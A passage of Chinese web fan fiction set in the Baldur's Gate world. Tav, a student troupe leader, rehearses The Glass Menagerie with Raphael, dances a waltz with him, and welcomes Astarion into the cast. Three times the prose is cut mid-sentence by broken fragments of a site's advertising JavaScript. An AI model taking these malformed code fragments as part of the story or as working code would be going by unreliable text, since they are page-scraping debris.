初为她起得美丽称号——蓝色玫瑰。现在的她,仍拥有那敏感而又脆弱的可怜可爱。他发现了她那习惯于被掩藏起来的美,激情之下,亲吻了她。 然而那之后,他又告诉萝拉这一切并不意味着什么,他会和其他女人结婚。 萝拉意识到她予以期望的发着光的吉姆也不过是普通人,要求他离开,并带走那只断角的独角兽。 …… “而这,也是你的最后一次出场。”塔夫总结说。 拉斐尔扬起眉:“男主角?” “一共两位主要男性角色,你的戏份要多一些。”塔夫心里好笑,又补充说,“萝拉是故事的中心,而你曾是她心目中的独角兽,还有这场重头戏,当然算是男主角。” 塔夫看出拉斐尔明显没有被说服,却没有那么在意。 尽管契约约定他必须出演,但受拉斐尔昨天的启发,她完全可以给他写一个“回忆中的父亲的背影”类似的戏份。既可以用到他的气质魅力,某种意义上象征意义和存在感都非常强烈,同时不需要他本人参与太多。 至于合作,找回男演员也是一种合作。 不过出于礼貌,塔夫还是问了一句:“你怎么想?” 拉斐尔瞥她一眼:“一会怎么排练?” “?”塔夫以为拉斐尔会提出不同意见,她便能顺势摆出另一个选择。 犹豫片刻后,她还是告诉了拉斐尔那个“更好”的选择——同样重要的角色,虽然不在家但始终占据中心地位的父亲。她特意着重强调“重要”和“中心地位”这些形容。 拉斐尔微笑看着她:“我不介意现在开始练习。” 他不是最会权衡利弊的吗?塔夫恨不得帮拉斐尔拆开细细分析好坏优劣。对他这种人来说,时间和精力应该才是最重要的吧!所以这次才约在了赛艇队这里不是么? “你会帮助新成员,对吗?团长。” 这应该不是她的幻觉,拉斐尔说话时嗓音格外充满磁性。塔夫看着他的眼睛,慢慢呼出一口气,终于接受了这个事实:“当然。” “那真是太好了。”拉斐尔眼神似乎愈发专情起来。 塔夫垂下眼,翻回第三场戏的开头:“下次排练是顺排,虽然地点仍在剧场,但只练对话和走位。” 她开始努力将拉斐尔正式当作剧团一员, “我们已经经过初排阶段,我需要你尽快熟悉台词、理解角色,因为接下来的排练有大量和其他演员的互动。” 她语气慢慢找回笃定, “这将是春假的最后一次训练。记得那天把你下周的时间表带来,用来定之后的排练时间。现在,我带你过一遍台词。” . 塔夫不得不承认自己有些惊喜。 她不过同拉斐尔说了一遍故事大概,他便能够注意到角色的感情变化。她只在最开始提过一次戏剧演出需要夸张放大一切,他的声音就变得格外饱满。 两位角色顺利地叙过旧,把玩过收藏,“跳”过舞,萝拉对碰碎的独角兽感慨。再次轮到拉斐尔时,他的吉姆,与其说是欣赏夸赞萝拉,倒不如说是在冷静地分析对方。 不过哪怕是冷静,塔夫仍是从中听出克制而又充沛的情绪——因为他发现了她的特别。 这让塔夫一下有了更多灵感,兴奋地抬起头,打算借羽毛笔和墨水,却正撞上拉斐尔的眼睛。 他居然不需要看台本,就这样凝望她,念出了想要亲吻她的台词。 . 21. 对白 这是演戏。 塔夫对自己说。 因为是戏剧演出,拉斐尔的眼神才会经过有意夸张,充满浓烈的情感。 她并不是自卑羞怯的萝拉。她现在应该说点什么。可她却无法控制地看着拉斐尔。她看到他眼神移向自己双唇,下意识地抿了抿嘴。而他重新望向她的眼睛时,她又不由自主地避开他的目光,视线却落在他的唇上。 多么奇怪。明明那张嘴里吐出的话不是刻薄,就是惹人讨厌,但是不说话时,看上去却这么…… 她是不是看得太久了? 塔夫像是突然惊醒般,不安地垂下眼睛,又立刻再次看向拉斐尔,发现他仍盯着她。 他在想什么?她刚才的想法被他发现了吗?他为什么会是这种眼神?她宁愿他嘲弄这段念白,或者说几句挖苦的话,而不是像现在这样。 她看到他喉结滚动,几乎和他同一时间清了清嗓子,又与他同一时间开口。 “可以借你的笔用一下吗?” “这处的亲吻没有必要。” 她与拉斐尔对视片刻,再次同时开口。 “为什么?” “可以。” 拉斐尔已经站起身,替她拿来羽毛笔和墨水瓶。塔夫接过笔,又发现他牢牢握着墨水瓶,只好就着他的手蘸上墨水。 “谢谢。”她想要露出微笑,却连自己都觉得僵硬,“虽然我刚才问了为什么,不过我其实也有相同的想法。” 她解释起来。既然吉姆亲吻萝拉后立刻感到唐突和失了规矩,再加上拉斐尔扮演的吉姆之前又格外冷静,那么此时,克制感情要比直接释放激情更为自然,情绪上来说则是同样强烈。 拉斐尔重新坐回沙发,也说出自己的原因——不过要简单得多: 他不愿意,也不会,在舞台上亲吻任何人。 塔夫轻轻按了按抽动的眉尾。 这算什么意思,这就是他刚才盯着自己半天得出的结论?他不愿意亲她?她还不乐意亲他呢! 不过最后,她把讥讽咽了回去:“我们暂时先按原剧本继续。” 剧本从这里开始,萝拉几乎一言不发,只安静听吉姆解释。整个人从温和的困惑,变得僵硬,再到挣扎。 原演员版本中,吉姆害怕伤害脆弱的萝拉,找借口一般告诉她他为什么无法娶她。而拉斐尔的表现却毫无同情心,明明是相同的话语,听上去却仿佛一把手术刀,直接切开了萝拉对爱情的期待。 塔夫边听边修改台词或记录想法,时不时伸长手臂去蘸墨水。拉斐尔第二次为她稍稍停顿时,塔夫意识到了:“谢谢。不如我自己拿着?” 拉斐尔却走到她身后,墨水瓶换到右手,靠在扶手上方便她直接蘸墨。这从沙发站起身的动作倒是恰好和剧本相符,塔夫莫名叹一口气,没说什么。 剧本故事继续。 随着吉姆的剖白,萝拉内心风暴减弱,露出微弱烛光,直到最后熄灭。然而,她不得不努力微笑,因为她那什么都不知道的母亲登场,如果她表现得太过难过,会令母亲担心。 在萝拉母亲过分热情的撮合下,吉姆的话变得越来越直白,并终于离开,留下母女二人。 …… 塔夫停下笔,对自己做出的改动思路十分满意,并肯定菲拉也会赞同。她又看一遍,忍不住举起剧本:“拉斐尔,你先来念念看改过的这几句!” “蓝色不是玫瑰的颜色,但这名字却极为适合你。”拉斐尔声音直接在她耳旁响起, “从这句开始?” 塔夫惊得向一旁躲了下,却靠上拉斐尔手臂。 原来他仍在她身后,右手也仍握着墨水瓶扶在沙发上。 刚才他整个人俯身靠过来,微微倚在椅背,越过她左肩去读她手中剧本。这姿势本就有些亲昵,像是他从她身后环抱住她。而她的闪躲,倒像是主动倒在他臂弯。 塔夫下意识抬头望向拉斐尔时,他也正侧过脸,垂下眼看她。塔夫知道拉斐尔在看自己,视线却再次粘在他唇上。 这似乎不是她第一次和拉斐尔距离这么近,却是她第一次在这种距离下仔细观察他的嘴唇。 轮廓分明,唇峰上翘,看上去居然是柔软的。 塔夫心跳突然加快,面颊也开始发烫。这令她异常懊恼,强迫自己看向拉斐尔的眼睛,瞥见他眉毛轻轻皱起,嗓音格外低沉:“别动。”但塔夫已经顺着他的视线扭过头,看到他手中那瓶墨水被她撞出几滴,染在他手指和虎口上。 “小心!”塔夫一下坐直,发丝擦过拉斐尔颈侧,又立刻蜷身从他怀抱中挣了出来。 不,她只是从椅子上站起而已。 拉斐尔仍保持着那个姿势没有动,神色不算愉快。 “我带了手帕。”看上去没有滴在沙发上,塔夫又仔细看向拉斐尔手周围,心里稍微松一口气,“这里有水可以沾湿吗?” 她转身去找冰桶,拉斐尔已经几步走到她身前。塔夫心里重新紧张起来,接着一讪:她的自我意识真是太强烈了,拉斐尔的目标显然是那张桌子。 “没必要。”拉斐尔放下墨水瓶和剧本,“我会直接洗掉。” “不好意思。”塔夫立刻又问,“我一个人在这里等你?我也可以去外面,这没什么。” “奇怪的问题。”拉斐尔挑了下眉。 “因为我不是俱乐部的成员。”塔夫立刻回道。这应该很好理解吧,这里想要营造的不正是外人勿进、哪怕进来也必须有人陪伴监督的排外特殊之感吗。 但因为刚才的莽撞,她不好意思把这种略带讽意的话说出口。而拉斐尔已经推开三扇门中的一扇。塔夫瞠目发现那之后居然是一个浴室,还很豪华的样子。 冲水声传来。尽管知道拉斐尔只是洗手,她还是偏头看向房间里的其他地方。 这样一个宽敞的房间,却没有任何装饰,比如运动社团常见的奖杯或者旗帜之类。唯一明亮点的颜色,只有一台柜式唱片机伸出一个黄铜色的喇叭,以及浴室门旁那一架子金红交错、叠挂得整整齐齐的毛巾。 这么多毛巾?被突如其来的好奇心驱使,塔夫一条条数了起来。 数到第二次眼花,水声终于停止。塔夫目视拉斐尔取下一条挂着的毛巾,擦干脸上的水珠——难怪花了挺长时间,看来他还顺便洗脸清醒了一下。 放下毛巾时,拉斐尔脸颊明显染着一层淡红,也不知道是刚才擦得太狠,还是其他原因。 塔夫心里偷偷笑了下,她好像已经习惯了他不同场合下的古怪脸红:“可以洗得掉吗?” “嗯。”拉斐尔把毛巾丢到一侧的编织筐里,重新看向她。 他眼里似乎仍沾着一层水汽,又因为微微泛红的脸,似乎连视线都变得湿润起来。塔夫下意识偏过头,避开同他直视,重新盯向毛巾架:“这个会客室挺特别的。” “这里是……”拉斐尔顿了下,更正道,“这里用作,更衣室。” “?!”塔夫一惊。拉斐尔已经补充说:“以及偶尔的休息。使用的人只有我。” 房 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间布局一下变得合理起来。不过空间上来说,比她和影心两个人的宿舍还要大——虽然塔夫也说不好自己为什么要做这种比较。 拉斐尔重新走到桌旁,手指虚点在桌面,却始终没有拿起属于他的剧本。塔夫瞧见他微微打湿的额发,想起他刚才的洗脸“清醒”,隔着桌子问:“今天就到这里?” 他无意继续练习,但看上去还并不准备结束。塔夫正有些奇怪时,听他问:“你想要做女主角吗?” “什么?”不等拉斐尔回答那句熟悉的话,塔夫已经微微眯起眼睛,“为什么这么问?” “如果你想的话,我当然有办法。”拉斐尔声音像在循循诱导,“既然我们之间存在契约,你可以更充分地利用它,做更多你想做的事。” “为什么你认为我想要做女主角?” 塔夫不喜欢这样想别人,但是对于拉斐尔,她总是不惮以阴谋恶意来揣测他。 他是想勾出她的欲望吗?争抢成为主角,和团员发生龃龉。当事情变得糟糕时,再居高临下地评价她:正如他所说的那样,她其实很享受权力,或者享受别人的注意力? “这是你改编的剧本,你对故事和角色最为了解,而且显然也喜欢扮演她们。拉斐尔低笑一声,“同时,你的台词很好。这让我很惊讶,你没有给自己任何戏份。” 被赞美的开心以及隐隐的惭愧混在一起,塔夫笑了笑,像是要弥补什么地真诚起来:“因为我是个非常糟糕的演员。” “过分的谦虚。”拉斐尔轻哼,“其实是一种骄傲。” “这并不是谦虚,更不是自傲。”虽然拉斐尔在含沙射影,塔夫却又笑起来, “是真的。我坐着念台词的时候很不错,但四肢僵硬,肢体不协调,五音也不太全。这出剧的女性角色,不是有唱歌——萝拉母亲,就是有跳舞——萝拉本人。 “我唱歌时声音打颤,而跳起舞来,用菲拉的话来说,哪怕是跳最简单的舞步,也活像是一个断了几条提线的、被新手操作的木偶。” “我很难想象那个画面。”拉斐尔声音里也带上明显笑意。 “那我还真是太幸运了!”塔夫笑道,“这种丢脸的事还是不要被别人想象得到才好。” 眼见拉斐尔微笑着放下留声机唱针头,又在响起的舞曲中绕过桌子朝自己走来,塔夫立刻向后退了半步,笑着摆手:“不,不不不不不。我知道你想做什么,不过不用了。” “我主导华尔兹的水平和你引导台词的能力相差不远。”拉斐尔毫不谦虚。 “你这让我很难接话。”塔夫瞥他一眼,“我可才刚说自己的台词很不错。” “既然如此,不如试试看。”拉斐尔邀请道。 “我一定会踩到你的!” “我又不是玻璃做的。”拉斐尔嘴角上扬。 “这不是剧本里的台词吗?”塔夫惊喜地看着拉斐尔,“你已经记住了一些?不错嘛!” 拉斐尔眼睛也弯了起来:“应当有人来帮你建立信心,让你为自己感到骄傲而不是羞怯,进而逃避和——脸红……” “好了好了,够了。我是有自知之明,不是没信心,更没有羞怯逃避!” 而且这可是亲吻的台词。他之前对她念的时候,还搞得气氛有些奇怪!塔夫笑着叹一口气,心底也有些跃跃欲试,便终于让步。 她忍着笑摆出一副准备牺牲般的庄重表情,伸出双臂: “来吧。不过我必须要提前警告你:你很可能会后悔的。” . 22. 慢三 拉斐尔走上前,接过塔夫双臂: “再高一点,左手需要放在我肩膀上。” “这点我还是知道的。”塔夫嘀咕,“是因为你比我想象中的要高。” “原来是这样?”拉斐尔低笑。塔夫正调整手的位置,动作一顿,刚想说那句话可不是恭维,又听拉斐尔说,“现在,最重要的是,别紧张。” “我没有紧张。”塔夫立刻反对,摆好手,“我顶多只是僵硬。” “保持住这种兴致。”拉斐尔手轻轻揽在她腰旁,“放松。随着我移动。” 他带着塔夫向侧边迈开一步,两步,后退…… “啊呀!” “真是抱歉!” “喔哦!” “我不是有意的!” 塔夫感到拉斐尔的手紧了又松,松了又紧,虚放在自己背上的那只手更是捏成拳又迅速张开。她忍不住好笑起来:“真是不好意思!但我告诉过你的!” “你是在跳舞,不是在同一头公牛或血甲魔做对抗。”拉斐尔的声音像是从牙缝间冒出,“我会带着你。而你,你只需要跟着我。” 重新听到这句“你只需要”,塔夫想起二人初见那天,扁扁嘴,不过瘾,又低头做了个鬼脸。 拉斐尔却像是能看到她的表情,在她背上不轻不重地拍了一把:“脖子挺直。别绷那么紧。放松点。” “我很放松!”他可真是个讨厌鬼。 “那就继续。”讨厌鬼不客气地说。 . 因为要注意保持挺拔姿势,塔夫腰背脖子都开始僵得有些发酸。 “你干嘛这么严格?”她已经不再去数这是踩拉斐尔的第几脚,见他仍拖着自己,没有一点要放弃的意思,干脆耍赖说,“我只是不擅长这个。总得让人有缺点才公平嘛。” “你只是需要更多练习。”拉斐尔垂眼看向她,微微挑了下眉,“以及,有人在各方面都是完美的。” 他是在指他自己吧。塔夫瞥拉斐尔一眼,摇头笑着反驳:“很可惜,如果这个人真的这么认为,那谦逊就不会是其中之一。” “当然是在好的方面完美。”拉斐尔眉毛扬得更高,“过分的谦逊可不是。” “……”这家伙。塔夫这回大大方方地冲拉斐尔翻了个白眼,身子跟着他旋转四分之一个舞步。 “看,当你不再专注于同我对抗,身体放松下来后,这几步不是很不错吗?”拉斐尔心情很好地瞧着她,还有几分得意的样子。 “诶?真的。”塔夫也有些惊喜。 然而,她的大脑一想起跳舞这件事,就立刻指挥四肢做点别的。比如,在下一个半步旋转时,狠狠踢在拉斐尔脚踝上。 “糟糕!”塔夫脚尖都有点疼,“你没事吧?” “……”拉斐尔只是哼一声,继续踏出下一步,但明显没有之前那样稳。 “抱歉!”塔夫无奈又好笑,“我们先停下。你要检查一下有没有踢破皮吗,你的血可是很珍贵,能用来写契约。” 拉斐尔又气又笑,再次咬着牙:“没必要!”但他总算没再继续踏舞步了。 也不知道他们跳了几曲,塔夫都有些喘不过气,不过现在是笑得喘不过气:“你跳得很好。是我不行。可你总不能要求我一下就变成舞蹈高手,今天就到这里吧。” “我想到一个办法。”拉斐尔像是一个字都没听见。 “怎么才能让你放弃?” “站到我脚上。”拉斐尔几乎是命令的口吻。 “不太好。你的鞋子怎么办?” “别这么担心。它们已经被你踩过太多次。” “……” 塔夫终于笑着叹了口气:拉斐尔可真够固执的,在这种事上也是,然而她一点也不感到惊讶。 拉斐尔却似乎把那声叹气再次理解成她的让步,见她仍纹丝不动,手微微用力将她带向他。 塔夫及时错开半步,这才没有直接踩到拉斐尔。 “需要瞄准的时候,反而踩不准了吗?”拉斐尔半是调侃半是认真。 塔夫没有抬头,看着拉斐尔说话时喉结小幅度向下一压。她也几乎能感到他胸腔的震动,鼻端则是极淡的古龙水的味道,仿佛还带着他的体温。她觉得自己脸颊又一次微微发烫。 也许她是真的有些害羞了。但才不是因为拉斐尔,只是因为这太过亲昵的姿势和距离。 “我累了。拉斐尔。”塔夫被自己的声音吓了一跳——和平时的很不一样,听上去有些哑,怪没精打采的。 拉斐尔松开她,动作快得仿佛是她是一块导电体,而她的声音则是刚刚落在上面的闪电。他又立刻向后退了一步拉开二人距离,正巧撞在沙发上,迅速用手撑了下才重新站直。 “我是累了,不是得了传染病。”塔夫打趣说。 拉斐尔仍半侧着头看向身旁沙发:“休息一下。” “休息之后也不再继续跳了?”塔夫向他确认。 拉斐尔没有说话,直接走到靠墙的柜子,关掉留声机,又上起发条来。 他看上去很专心,塔夫一时不便打扰他。而且她也的确感到累了,便直接坐到沙发上,伸长腿又拉伸下,舒服得轻轻叹了口气。 不等她收回手脚,拉斐尔已经循声望向她。塔夫微感尴尬,慢慢端正坐好,又打破沉默问:“你经常在这里用留声机吗?” 她语气有些促狭,因为莫名不愿夸赞拉斐尔,所以没有说出口的是,无论是训练完听音乐放松还是别的什么,她都觉得这爱好还挺有意思,这台留声机看上去也很高级很好用。 拉斐尔松开手柄,考虑了一会才说:“这是哈勒普的兴趣。” 塔夫想起那位梦魔,以及对方顶着拉斐尔面孔和自己的“亲密”。 那只能是拉斐尔的要求。 如果说刚才她心里有任何因为拉斐尔而生的涟漪,现在也都渐渐平静下来。她觉得自己应该走了,至少不应该主动打探,却忍不住又问一句:“你同哈勒普的关系很好?” “也许。” 塔夫记起拉斐尔曾经对他的评价——“礼物”,心里冷得更多。 是了,这种不把别人当成是与他对等的、毫不在乎的态度。 “对我来说,他既是朋友,也是老师。是很好的帮手,偶尔还是……”拉斐尔顿住。 她似乎又把拉斐尔想得太糟了。塔夫望着他,等待着。 拉斐尔回望她,却没有说话。塔夫终于问:“还是什么?” “他也能够变成父亲的样子。”拉斐尔笑了下,“毕竟,哈勒普是父亲送给我的礼物。” 但塔夫捕捉到他声音中的其他情绪,也许是自嘲。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她声音轻了些:“抱歉。” “为什么道歉?” “因为,也许我不应该追问的。” “这没什么。” 塔夫抿抿唇。原来拉斐尔刚才那句“也许”,是指他并不确定哈勒普对他的态度。他应该是喜爱、至少是尊重哈勒普的,但认为哈勒普没有其他选择,只能陪在他身边。 还有他和父亲的关系…… 她迅速脑补了一出父亲从来不在家,幼年拉斐尔只能从哈勒普变成的父亲那里寻求亲情的悲伤往事。虽然她曾是孤儿,但贾希拉是再好不过的母亲。 塔夫想要说些安慰的话,却又不知道出于何种立场。她不觉得自己是拉斐尔的朋友,也不知道具体情况。那就作为剧团团长,说些有类似关系的故事或戏剧安慰?或者,也可能是她多想了。 她正犹豫时,拉斐尔已经再次开口:“从记事起,哈勒普就在我身边,未来也不会离开,直至契约终止。”他慢慢弯起唇,“这种关系,并不适合用’‘好’或者‘不好’来形容。” 原来还有契约?塔夫想起自己同拉斐尔的契约,哪怕约束的对象是他,心情也依然复杂起来。 “而我也知道。”拉斐尔声音低沉下来,“对哈勒普来说,我和其他贵族没什么区别。” “当然是有区别的。”塔夫几乎是立刻说,“你和威尔就很不一样。” 她不确定这句话起得是好效果还是反效果。虽然拉斐尔身周那淡淡的自嘲和低落氛围消失,取而代之的却是明显的讥讽:“哈!” “我并不是拿你同威尔比较。”塔夫决定还是少说两句,毕竟她没多么了解他们二人,而且也已经下定决心要翻过之前那一页。 她胡乱又说几句剧团的事,再次叮嘱拉斐尔记得带上下周的日程表,便起身告别。 . 目送塔夫几乎有些慌乱地离开后,拉斐尔重新放下留声机的唱针头。 慢三舞曲再次流淌,他轻轻皱起眉。 他刚才感受到塔夫大概可以称为是怜悯的情绪,及时展露“弱点”。可惜,不等他进一步表达“没人能看到他的真实之处”的感伤,塔夫已经迅速收起话题,忙不迭地逃跑了。 怜悯,为他人的不幸感到同情和难过。 无法解决任何问题的情绪。 但让塔夫感到难过的是什么? 是哈勒普? 拉斐尔几乎有些不快,又想起塔夫看向自己时的神情。 这是他第一次看到她这样温和的神色。 怎么可能是哈勒普。 她才见哈勒普一面,而且是以他的模样。这温情只能是对自己的。 拉斐尔满意起来。随意点着节拍,眼前重新出现塔夫的滑稽舞步。居然与那夸张形容分毫不差,还并不是故意的?真是难以置信。而与僵硬完全相反的,是她清脆的嗓音,飞舞的字迹,兴奋激动时闪亮的眼睛。还有她几乎靠在自己身前时,仿佛蜜桃一样的脸颊。她以为是在偷偷看向自己双唇时的…… 拉斐尔上扬的嘴角一滞。 …… 他为什么浪费时间回想这些。 …… 他应该去训练了。 . 与此同时,塔夫已经在学生餐厅找到菲拉,兴奋地拉住她说起调整剧本的事。 . 23. 顺利 塔夫侃侃而谈。菲拉眉毛却慢慢锁了起来,几次想说点什么都被塔夫的滔滔不绝阻止。 “先等等,你还记得我们最开始的讨论吗?”菲拉终于打断塔夫,“我指的是,选这出剧时的那个最开始。” 塔夫笑着点点头,继续长篇大论:“虽然每个人物都有自己的苦闷,却也是特别的。比如美丽却又羞怯的蓝色玫瑰萝拉!既然我们决定给她一个更加充满希望的开放结局,为什么不直接让吉姆去拯救她?!吉姆……” “每个人都是特别的?这意味着没人是特别的!还意味着他们没办法理解彼此。无法理解!永远不会!这是他们逃不出的痛苦和孤独!” 塔夫呆滞片刻:“你怎么突然这么悲观。我都有些不适应。” “因为你的修改太浪漫化了!”菲拉轻咳一声,恢复正常音量,“吉姆在剧本中的确说过他擅长分析别人,但那只是他对自己的评价。他并不能够拯救萝拉,也不应该去拯救萝拉。” 塔夫还想要分辩几句,菲拉已经一锤定音道:“我很遗憾,但我不认为我们需要因为一位演员做出这么大的改动,甚至直接推翻前面所有的铺垫!” “你当初对修改可不是这个态度。”塔夫小声抗议。调整这场对手戏也是菲拉提的。 菲拉回瞪:“你当初好像也没有这么激动。” 塔夫恍惚记起自己当时的抵触,和现在的状态一比较,心里一凛:“我可能,不,一定是被拉斐尔影响了。” 菲拉静默片刻:“我理解你。” 塔夫和菲拉对视一眼,表情沉重地点点头,又迅速同她达成一致:剧情不变,只调整吉姆一部分台词:减少同情、增加冷静,从而形成距离感。 . “我很开心你俩这么喜欢这里,不过是时候去别的地方转转了。” 塔夫和菲拉讨论了很久细节,直到自助餐厅的矮人大叔不耐烦地粗声粗气起来,这才终于离开。 “我知道这是我的提议。”菲拉捏了捏颈后,“不过我现在才意识到,哪有导演为演员调整剧本的道理!还花了这么长时间。” 塔夫没有回答,菲拉已经自顾自地说了下去:“算了,谁让他是那个拉斐尔呢。说不定几天后,我就会后悔没有投入更多精力。” “那就两天后见了!”塔夫立刻准备开溜。 “站住。”菲拉阴恻恻拽住她,“被你搪塞过去好几次。这到底是怎么回事?” 虽然菲拉问得含糊不清,塔夫还是知道她指的是拉斐尔,一回生二回熟,流畅讲了一遍对影心的说辞。 不过菲拉并没有立刻买账:“他为什么亲自来演?” 塔夫懊恼:因为她当时坚持想要拿拉斐尔出气。 菲拉继续补刀:“而且,我们还少一个男演员。” 塔夫立刻想到一个人选——哈勒普。又觉得自己这做法可以称得上对拉斐尔连吃带拿,僵硬地笑了笑:“好在哥哥戏份没那么重,下次排练我们定时间表的时候,也顺便讨论一下。” “这么重要的事居然只是顺便?”菲拉瞥她一眼,却也没再追问,“你其实又已经有办法了?但愿别再是这种惊喜或者惊吓了。” . 菲拉离开,不过她的话倒是让塔夫想到第二个人选——同样是贵族背景、也有很多人都听说过的威尔。 她可以肯定,威尔会帮她这个忙,特别是如果她告诉对方剧团演员离开的原因。 塔夫的心情像是被什么刺了下。 这件事她仍没有和拉斐尔确认,大概也是她始终无法信任他的原因之一。而且,谁知道他的话有多少是真的、有多少是假的。更准确来说,从他嘴里说出来的话,就算是真的,也不一定可信,说不定是在有意误导。 然而,今天她几次怀疑拉斐尔在搞什么鬼,结果都是她把对方想得太糟。 回忆起拉斐尔最后一番话,塔夫觉得那应该至少不是假的。除了当时的情绪,这也是他第二次表达类似的意思了。原来作为贵族也会有种种苦恼。 塔夫又一讪,她替他苦恼什么呢。影心的话有一点绝对没错,拉斐尔是来替她解决问题的。至于这问题是不是对方导致的…… 她决定还是得找机会问清楚。 . 拉斐尔比塔夫想象中的更加主动。 解决问题方面。 两天后,春假的最后一次排练。 这次开始时间在晚饭后,拉斐尔仍是提前到,并且不是一个人来剧场。 塔夫正同菲拉聊感兴趣的故事,为下一个学期挑剧本,抬头看到拉斐尔,又立刻认出他身边那人标志性的银色卷发,激动得舌头打结:“阿,阿……” “阿斯代伦?”最后还是菲拉替她说了出来。 戏剧社当之无愧的男一号。 不过是曾经。 两年前,塔夫还是大一的时候,看过阿斯代伦做主角的一部《夜访吸血鬼》。那个时候他已经读大四,所以非常可惜,这是她看过的唯一一部,不过至今仍记得清许多细节,仿佛昨天才看过。 严格来说,那出戏可以算是三男主。 塔夫能看出阿斯代伦有所收敛,但还是把另外两人远远甩在后面,哪怕不同台的情况下也是如此。毕竟,他举手投足间流露出的风度优雅而又残酷,再加上精致的长相,戏谑的幽默感,实在是超过了演技所能达到的程度。 所以她直到第二年才发现,那两位主演其实也都很厉害,不过这不重要。 眼下重新见到阿斯代伦,得知他会临时加入屋顶上的猫(原句是“如果你们愿意给我这个荣幸的话”。这可真是开玩笑,怎么会有剧团拒绝他?这是剧团的荣幸还差不多!)虽然菲拉才是导演,但塔夫已经结结巴巴地朝他介绍起来: “你一定听过这部玻、玻璃动物园,但、但我们做了一些改动。” “拉斐尔告诉过我大概情况,亲爱的。”阿斯代伦微笑,“我很喜欢你的改编。棒极了。” “真、真的吗?那真是太好、好了!”塔夫卡住,清了清嗓子,“可我把你的主角改成了配角。” “如果没有这个改动,我恐怕也不会来演。”阿斯代伦鼻翼两侧笑纹更加明显,“我可是很忙的。” “当然!你能来就已经太好了!” …… 塔夫第五次说出“太好了”之后,菲拉终于有些看不过眼,收起下巴摇摇头,又凑到明明应该是主角但正专心看热闹的拉斐尔身边,冲他问出几天前才对塔夫问过的问题:“这是怎么回事?” 是她多想了吗,她总觉得塔夫和拉斐尔这两人之间有什么,但似乎和她想的不太一样。 “意外之喜。”拉斐尔噙着笑,“塔夫看上去很开心,不是吗?” 菲拉:“……?” 这是什么奇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怪的逻辑?为了讨塔夫开心,为她介绍她喜欢的男人? 拉斐尔不是太自信就是心太大。塔夫那样子可不仅仅是开心,她眼睛都要黏在阿斯代伦身上了! 不过既然是拉斐尔,那应该是自信吧。 或者是她误会了。菲拉默默把刚到剧场的里萨拉到一旁:“嘘,我来跟你解释。” . 排练无比顺利。 阿斯代伦演技自然,一抬眼就变成苦苦挣扎备受煎熬的萝拉哥哥。 拉斐尔改动了些台词,不少和塔夫不谋而合,是萝拉想象中那个不真实的美好存在。 更妙的是,他们激发了另两位主要女演员的演技,她们双双发挥出自己的潜能。 萝拉更加易碎而纯洁,被无人在意的自卑折磨,称得上一句我见犹怜。 萝拉母亲则摇身变成落魄贵族小姐本人,为业已不存在的过去荣光努力维持风韵和尊严。 “简直是太棒了!” 虽然还有很多细节需要调整,塔夫还是觉得自己兴奋得足以昏厥过去。虽然仍没有确认拉斐尔的唱歌水平——那需要同合唱团的声乐指导见一面,但她一点也不担心。 时间过得飞快,最后到了和表演无关的琐碎计划和事务。阿斯代伦丢下一句拉斐尔知道他的时间,申请直接离开。 原来他仍在博德安大学,正继续读法学院,住另一个校区。 “当然。没问题。请小心。”塔夫堆出笑容。 菲拉小声取笑说:“天啊,你到底是谁?把塔夫还给我。” 塔夫瞥她一眼,同样小声回:“让你想起什么熟悉的场景了吗?” 两人来回斗了两句,回归正题。 塔夫便一边归拢时间表一边说: “下半学期,每周末还是一定有一次排练,没有特殊情况请不要请假。平时的话,我会协调时间,尽量多练习几次。” “萝拉”笑着问:“可以私下练习吗?”她的眼睛是看向拉斐尔的。 塔夫回:“当然鼓励。” 拉斐尔却道:“我只能保证社团时间。” 萝拉立刻好脾气地说:“可以理解。” 又答几个询问或者更像是玩笑,当然还少不得听了几嗓子“居然已经是春假最后一天”的哀嚎,塔夫定下下次排练的时间在周日下午。 “那就下周见了!” . 菲拉告诉塔夫她会同里萨一起离开。 对此,塔夫并没有多意外,却惊讶地发现拉斐尔在等她。 “一起走走?”他邀请道。 “有什么意见请留到下次吧。”塔夫笑着说,“我想把今天这么好的回忆多延长一会。当然,我得要再次感谢你,邀请到阿斯代伦加入我们。” “为了演出成功。”拉斐尔弯起唇,“走吧。” “这会是每次排练之后的保留节目吗?”塔夫打趣问,接着微笑摇摇头,“今天有点晚了。” “那便往你的住处走。” 塔夫:“……”果然不能太委婉。这家伙听不懂拒绝,或者根本直接无视。 “你住诺顿塔那边吗?”拉斐尔一副“我们可以出发了”的样子。 “不是。”塔夫微不可察地叹了一口气。如果拉斐尔耐心地把学校所有的宿舍区都说一遍,她也不会感到吃惊, “是相反的方向。” . 24. 选择 回宿舍的路上。 塔夫知道这是个询问拉斐尔的好机会。 ——剧团之前的事到底是不是他搞得鬼。 然而,阿斯代伦的出现冲淡了这问题的必要性。 那仍会是一根刺,她也依然会去猜测,却隐约觉得自己已经没有什么立场再去质问拉斐尔。就结果来说,情况并不坏,甚至比之前更好。 另一方面,她有些不太想破坏现在的氛围。 正如她之前发现的,如果拉斐尔愿意的话,他可以变得非常迷人,哪怕只是同她随便聊聊。 虽然说话间仍带着不算太客气的评判,但他观察力惊人,用词精准。 有些词,塔夫只在书中或课上才会读见。如果平常生活中听到别人说起,她可能会觉得对方是在卖弄学识,而由拉斐尔说出口却很自然,不会有装腔作势的感觉。 她几次都要赞叹了,恨不得记下来用在台词里。但也有好几次,她被他带着点戏剧化的嘲弄幽默(其中一次对象居然还是阿斯代伦)搞得哭笑不得,最后却背叛了她喜爱的演员,忍不住笑出声。 “真想知道你是看什么书长大的。”塔夫感慨。 拉斐尔望向她,轻轻扬起眉毛。 真是不能夸他。塔夫心里好笑,却也真的好奇起来:“你们——我是指贵族——小时候看的书和我们是一样的吗?” 拉斐尔仔细看了她一眼,简单回:“应该差不多。” “我这样问好了。”塔夫不满足,“你最喜欢的是什么?”。 “我最……”拉斐尔一顿,换了个说法,“我曾最经常听的,是《老负鼠的猫经》。” “一本老鼠的祈祷书?” “是一本诗集。” “诗集?你那个时候多大?”塔夫吃惊地笑着。 “都是童趣的小诗,还被改编成歌剧。你大概能猜到是哪部。” 塔夫想了想:“是关于猫的那个?在博德之门每年都会有巡演的那个!” 